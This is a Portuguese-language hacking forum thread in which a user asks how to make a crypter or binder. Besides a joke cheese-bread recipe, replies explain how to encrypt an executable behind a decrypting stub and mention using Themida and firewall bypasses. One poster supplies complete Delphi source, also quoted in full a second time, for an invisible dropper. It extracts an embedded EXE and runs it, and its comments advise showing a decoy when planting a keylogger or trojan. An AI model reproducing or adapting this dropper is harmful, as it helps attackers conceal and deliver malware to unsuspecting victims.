Gostaria que alguem coloca uma source ou me fala-se como eu posso face um Crypt/Blinder =)
Unconfigured Ad Widget
Collapse
Anúncio
Collapse
No announcement yet.
Alguem sabe como fazer um Crypt/Blinder
Collapse
X
-
receita de crypter eu num sei nao, mas se vc quiser uma de pao de queijo ta ai..
ingredientes
4 copos (americano) de polvilho
3 copos (americano) de queijo ralado
2 copos (americano) de água
1 copo (americano) de óleo
1 colher (sopa) rasa de sal
6 ovos inteiros (aproximadamente)
modo de preparo
Coloque o polvilho em uma vasilha. Ferva a água, o óleo e o sal e despeje por cima do polvilho. Misture até amornar. Acrescente o queijo e misture. Vá colocando os ovos um a um até o ponto de enrolar. Asse em forno médio até corar.
vc tem o forum todo a sua disposiçao...e so procurar- Curso técnico em Informática.....................Concluído
- Tecnólogo em Sistemas para Internet...........Em andamento
- Top
-
- Top
Comment
-
Muito bom o pão-de-queijo. Fiz aqui
Mas é bom lembrar pra untar a forma com margarina para não pregar nenhum no fundo, não fazer grande demais, para não assar por fora e ficar cru por dentro, e não colocar um muito perto do outro quando for assar, porque eles crescem. Também não deixar assar demais com forno baixo demais, senão fica parecendo biscoito de polvilho, e nem ficar abrindo o forno.
-+-+-+-+-
Você já sabe alguma coisa de programação? Porque, pela lógica, nem é tão difícil.
Crypter:
Você deve escolher um algoritmo de criptografia dual-way, tal qual Base64 ou RC4. Daí, só converter o conteúdo (mesmo compilado) do arquivo para isso.
Então, cria um segundo arquivo executável que grave todo o conteúdo, ainda criptografado, em um arquivo, desfaça sua criptografia e execute-o.
Binder:
Você pode fazer tal qual o crypter, porém, sem a criptografia e com suporte a mais de um arquivo.
Juntar o conteúdo dos arquivos a um único executável que, ao ser executado, descompacte-os em um diretório especial (como o temporário) e rode-os.
Enfim, já escolheu a linguagem de programação?Este material pode ser compartilhado, desde que os devidos créditos sejam dados.
Notify-list · Twitter · Blog
Nova lei: Invadir computadores protegidos é crime.
Lógica: Se eu invadi, não é protegido. Logo, não é crime :-)
- Top
Comment
-
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
dá uma procurada lá
- Top
Comment
-
Bom vc pode usar o Themida.
Um outro metodo, contudo escroto, vc pode fazer o programa original um resource da main application.
Neste caso vc tem 1 escondido dentro do outro, basta vc "descompacta-lo" para usar.
Se quiser dar um bind no codigo asm do executavel assim como metodo usado pelo themida e outros... isso ja é outra historia.
Outro metodo que ja utilizei pra fazer isso é bem parecido com o resource...
Vc salva o executavel como texto hexadecimal... E carrega ele dentro de 1 ou 2 memos, depois disso com stream vc converte o hexadecimal para executavel... mas este metodo e o de resources sao basicamente a mesma coisa... este ultimo utilizei para fazer bypass por firewalls ao enviar arquivos, nao executaveis, pelo PC do hospedeiro atravez de uma pagina da net utilizando o metodo POST e um form convendcional
- Top
Comment
-
So pra esclarecer esse metodo do Resource vou postar como se faz... ja que nao posso incluir na minha resposta anterior.
Primeiramente abra um bloco de notas coloque o seguinte codigo dentro
Código:ARQ RCDATA arquivo.exe
Explicando
ARQ - E' o instanciamento do seu arquivo que virara' um RAW
RCDATA - E' o tipo do resource... neste caso em especifico e do tipo generico que gera RAWs
arquivo.exe - E' o caminho do seu executavel a ser importado como resource... particularmente eu prefiro crair o arquivo .RC na mesma pasta do arquivo a ser importado, por isso nao e' definido nenhum caminho aqui mas sem problemas vc poderia fazer "C:\pasta\pasta2\arquivo.exe"
Apos criar seu ARQUIVO.RC abra um prompt de comando e navegue ate a pasta do mesmo. Ao chegar la execute a seguinte linha de comando (e' necessario ter o delphi instalado na maquina)
Código:BRCC32 ARQUIVO.RC
Assim que o comando for executado com sucesso um novo arquivo deve ser criado com o mesmo nome do .RC porem com extenção .RES, este é o arquivo do resource que sera importado para nosso novo programa...
Agora crie um novo projeto no Delphi e ele deve ficar +- assim:
No Project1.dpr
Código:program Project1; uses Forms, Unit1 in 'Unit1.pas' {Form1}; {$R *.res} begin Application.Initialize; Application.CreateForm(TForm1, Form1); { Faz com que a aplicação seja executava em modo invisivel. } Application.ShowMainForm:= false; Application.Run; end.
Código:unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs; type TForm1 = class(TForm) procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} { Importa nosso arquivo de resource... } {$R ARQUIVO.RES} procedure TForm1.FormCreate(Sender: TObject); var readStream: TResourceStream; fileStream: TFileStream; filename: string; begin { Caminho para qual sera extraido nosso arquivo que esta armazenado no resource... } filename := ExtractFilePath(Application.ExeName)+'novo_arquivo.exe'; { Faz a leitura do arquivo iportado e armazena em um stream, veja que a instancia do arquivo esta sendo apontada... ou seja oq vc colocou no .RC deve ser posto aqui tmb... Alem disso e' permitido importar mais de 1 unico arquivo no mesmo .RC ms as instancias devem ser diferentes, por exemplo: ARQ1 RCDATA calc.exe ARQ2 RCDATA sol.exe ARQ3 RCDATA musica1.mp3 ARQ4 RCDATA foto.jpeg Compila com BRCC32 e faz a chamada com a func,a~o abaixo, mudando apenas a instancia da mesma: readStream := TResourceStream.Create(hInstance, 'ARQ1', RT_RCDATA) ; readStream := TResourceStream.Create(hInstance, 'ARQ2', RT_RCDATA) ; readStream := TResourceStream.Create(hInstance, 'ARQ3', RT_RCDATA) ; } readStream := TResourceStream.Create(hInstance, 'ARQ', RT_RCDATA) ; try { Cria uma stream do tipo arquivo... } fileStream := TFileStream.Create(filename, fmCreate) ; try { Copia o conteudo da stream generica (variavel readStream) para a stream do tipo arquivo, inciando da posicão 0. } fileStream.CopyFrom(readStream, 0) ; finally { Libera a memoria utilizada para carregar o resource... } fileStream.Free; end; finally { Libera a memoria utilizada para criar o arquivo e copiar tudo. } readStream.Free; end; { Executa o arquivo criado... } WinExec(pChar(filename), SW_SHOW); { Finaliza a aplicacão... Neste caso se for implantar um KL ou Trojan é altamente recomendado que a aplicacão faca de fato algo util... ou abra uma imagen ou qualquer coisa... ao invez de simplesmente terminar. } Application.Terminate; end; end.
Nao sei se vai ajudar no seu caso... mas é uma ideia.
- Top
Comment
-
Postado Originalmente por Alikarbam Ver PostSo pra esclarecer esse metodo do Resource vou postar como se faz... ja que nao posso incluir na minha resposta anterior.
Primeiramente abra um bloco de notas coloque o seguinte codigo dentro
Código:ARQ RCDATA arquivo.exe
Explicando
ARQ - E' o instanciamento do seu arquivo que virara' um RAW
RCDATA - E' o tipo do resource... neste caso em especifico e do tipo generico que gera RAWs
arquivo.exe - E' o caminho do seu executavel a ser importado como resource... particularmente eu prefiro crair o arquivo .RC na mesma pasta do arquivo a ser importado, por isso nao e' definido nenhum caminho aqui mas sem problemas vc poderia fazer "C:\pasta\pasta2\arquivo.exe"
Apos criar seu ARQUIVO.RC abra um prompt de comando e navegue ate a pasta do mesmo. Ao chegar la execute a seguinte linha de comando (e' necessario ter o delphi instalado na maquina)
Código:BRCC32 ARQUIVO.RC
Assim que o comando for executado com sucesso um novo arquivo deve ser criado com o mesmo nome do .RC porem com extenção .RES, este é o arquivo do resource que sera importado para nosso novo programa...
Agora crie um novo projeto no Delphi e ele deve ficar +- assim:
No Project1.dpr
Código:program Project1; uses Forms, Unit1 in 'Unit1.pas' {Form1}; {$R *.res} begin Application.Initialize; Application.CreateForm(TForm1, Form1); { Faz com que a aplicação seja executava em modo invisivel. } Application.ShowMainForm:= false; Application.Run; end.
Código:unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs; type TForm1 = class(TForm) procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} { Importa nosso arquivo de resource... } {$R ARQUIVO.RES} procedure TForm1.FormCreate(Sender: TObject); var readStream: TResourceStream; fileStream: TFileStream; filename: string; begin { Caminho para qual sera extraido nosso arquivo que esta armazenado no resource... } filename := ExtractFilePath(Application.ExeName)+'novo_arquivo.exe'; { Faz a leitura do arquivo iportado e armazena em um stream, veja que a instancia do arquivo esta sendo apontada... ou seja oq vc colocou no .RC deve ser posto aqui tmb... Alem disso e' permitido importar mais de 1 unico arquivo no mesmo .RC ms as instancias devem ser diferentes, por exemplo: ARQ1 RCDATA calc.exe ARQ2 RCDATA sol.exe ARQ3 RCDATA musica1.mp3 ARQ4 RCDATA foto.jpeg Compila com BRCC32 e faz a chamada com a func,a~o abaixo, mudando apenas a instancia da mesma: readStream := TResourceStream.Create(hInstance, 'ARQ1', RT_RCDATA) ; readStream := TResourceStream.Create(hInstance, 'ARQ2', RT_RCDATA) ; readStream := TResourceStream.Create(hInstance, 'ARQ3', RT_RCDATA) ; } readStream := TResourceStream.Create(hInstance, 'ARQ', RT_RCDATA) ; try { Cria uma stream do tipo arquivo... } fileStream := TFileStream.Create(filename, fmCreate) ; try { Copia o conteudo da stream generica (variavel readStream) para a stream do tipo arquivo, inciando da posicão 0. } fileStream.CopyFrom(readStream, 0) ; finally { Libera a memoria utilizada para carregar o resource... } fileStream.Free; end; finally { Libera a memoria utilizada para criar o arquivo e copiar tudo. } readStream.Free; end; { Executa o arquivo criado... } WinExec(pChar(filename), SW_SHOW); { Finaliza a aplicacão... Neste caso se for implantar um KL ou Trojan é altamente recomendado que a aplicacão faca de fato algo util... ou abra uma imagen ou qualquer coisa... ao invez de simplesmente terminar. } Application.Terminate; end; end.
Nao sei se vai ajudar no seu caso... mas é uma ideia.
- Top
Comment
X
Comment